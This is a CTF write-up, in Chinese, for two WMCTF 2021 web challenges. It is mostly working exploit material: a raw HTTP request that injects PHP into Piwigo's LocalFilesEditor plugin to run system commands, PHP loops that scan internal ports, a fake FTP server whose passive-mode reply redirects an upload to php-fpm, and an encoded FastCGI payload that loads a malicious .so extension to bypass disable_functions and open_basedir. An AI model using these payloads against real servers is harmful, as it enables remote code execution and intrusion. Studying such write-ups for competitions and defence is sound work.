wmctf2021
web
ez piwigo
弱口令进后台
关键点在插件这里本地起环境搭建
https://github.com/Piwigo/LocalFilesEditor
下到plugins里
直接搜高危函数
定位到eval_syntax($code) 查看函数调用
下断点瞎几把调
根据源代码构造闭合,成功rce
echo 1;}phpinfo();exit();/*
回到靶机
成功rce
poc
POST /admin.php?page=plugin-LocalFilesEditor-plug HTTP/1.1
Host: eci-2ze592gjcc4csf48sjt7.cloudeci1.ichunqiu.com
Content-Length: 399
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze592gjcc4csf48sjt7.cloudeci1.ichunqiu.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytLwfhMY4fAkh6bkK
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze592gjcc4csf48sjt7.cloudeci1.ichunqiu.com/admin.php?page=plugin-LocalFilesEditor-plug
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-HK;q=0.9,zh-CN;q=0.8,en-US;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: UM_distinctid=17ae0a4221f9f6-0550d40a8c3ad6-2343360-144000-17ae0a4222098e; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1628649896,1629299850,1629301123,1629340319; __jsluid_h=ae750384447dad375a94e4592431d090; pwg_id=0v7pemrthkp0olv2t7v9gk2pq7; pwg_plugin_manager_view=tile
Connection: close
------WebKitFormBoundarytLwfhMY4fAkh6bkK
Content-Disposition: form-data; name="pwg_token"
907287c6882da8572dc0c13d8bba5015
------WebKitFormBoundarytLwfhMY4fAkh6bkK
Content-Disposition: form-data; name="text"
echo 1;}system('whoami');exit();/*
------WebKitFormBoundarytLwfhMY4fAkh6bkK
Content-Disposition: form-data; name="submit"
Save file
------WebKitFormBoundarytLwfhMY4fAkh6bkK--
make php great again
php8 修复..
glob 只能显示/var/www/html/目录
http://118.190.153.142:20005/?glzjin=?><?php $a=new DirectoryIterator("glob:///var/www/html/*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
template.class.php //继承smarty
admin/picture_modify.php //调用assign
由于phpinfo被禁止了
利用其他的函数来收集下信息。比如,利用 get_cfg_var 这个函数读取PHP 配置文件信息
glzjin=print_r(get_cfg_var("disable_functions"));
该禁的都禁了
basedir也只有/var/www/html/而在php8中修复了绕过basedir的方法
根据提示fpm,扫下内网端口,
for($i=0;$i<65535;$i++) {
$t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
if($ee2 === "Address already in use") {
var_dump($i);
}
}
for($i=0;$i<65535;$i++) {
$t=file_get_contents('http://127.0.0.1:'.$i);
if(!strpos(error_get_last()['message'], "Connection refused")) {
var_dump($i);
}
}
可以发现端口11451是一直开着的
细说下php-fpm攻击的原理,之前蓝帽杯其实也出过,当时没怎么去研究过,这里细说下
浏览器向服务器请求后,会发送一段信息告诉php-fpm要执行哪个文件,但是正在php5.3.9版本后,执行的文件必须是已经存在的文件。
但是在php.ini中可以设置在执行文件之前先包含指定的文件
php-fpm中有两个环境变量是专门设置php配置项的
PHP_VALUE 和 PHP_ADMIN_VALUE
设置 auto_prepend_file = php://input
且 allow_url_include = On
,然后将我们需要执行的代码放在 Body 中,即可执行任意代码。
而我们对gopher生成的payload进行解码
刚好也是利用这几个东西
而由于这题禁用了很多函数,所以来 FTP 的被动模式来SSRF
虽然file_get_contents不支持gopher协议,但可以支持ftp协议
利用file_get_contents()函数连接FTP服务器,下载文件,再利用file_put_contents()上传文件
这题是在靶机内搭建一个恶意的ftp服务,从而发动攻击
先详说下赵总截获的方法
php起一个恶意ftp服务器
$socket = stream_socket_server("tcp://0.0.0.0:46819", $errno, $errstr);
if (!$socket) {
echo "$errstr ($errno)<br />\n";
} else {
while ($conn = stream_socket_accept($socket)) {
fwrite($conn, "210 Fake FTP\n");
$line = fgets($conn);
echo $line; // USER
fwrite($conn, "230 Login successful\n");
$line = fgets($conn);
echo $line; // TYPE
fwrite($conn, "200 xx\n");
$line = fgets($conn);
echo $line; // SIZE
fwrite($conn, "550 xx\n");
$line = fgets($conn);
echo $line; // EPSV
fwrite($conn, "500 wtf\n");
$line = fgets($conn);
echo $line; // PASV
// $ip = '192.168.1.4';
$ip = '127.0.0.1';
$port = 11451;
$porth = floor($port / 256);
$portl = $port % 256;
fwrite($conn, "227 Entering Passive Mode. ".str_replace('.',',',$ip).",$porth,$portl\n");
$line = fgets($conn);
echo $line; // STOR
fwrite($conn, "125 GOGOGO!\n");
sleep(1);
fwrite($conn, "226 Thanks!\n");
fclose($conn);
}
fclose($socket);
}
起好服务后自己构造一个file_put_contents()利用ftp协议进行攻击
$payload=urldecode('%01%01%11-%00%08%00%00%00%01%00%00%00%00%00%00%01%04%11-%01%DD%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH67%09%10PHP_VALUEopen_basedir%20%3D%20/%0F%27PHP_ADMIN_VALUEextension_dir%20%3D%20/tmp%0Aextension%20%3D%20ant.so%01%04%11-%00%00%00%00%01%05%11-%00C%00%00%3C%3Fphp%20var_dump%28scandir%28%22/%22%29%29%3Bfile_put_contents%28%22/tmp/abc%22%2C%20%22haha%22%29%3B%01%05%11-%00%00%00%00');
file_put_contents('ftp://127.0.0.1:46819/aaa',$payload);
flag是没法包含的
然后就是怎么去读flag了
先上传一个so上去绕过disable_function
penson move_uploaded_file($_FILES["f"]["tmp_name"],"/tmp/ant.so");
重新起个ftp加载so
file_put_contents("/tmp/aaa","cat /flag");antsystem("qwq");var_dump(file_get_contents("/tmp/yyyyyy"));unlink("/tmp/aaa");unlink("/tmp/yyyyyy");unlink("/tmp/ant.so");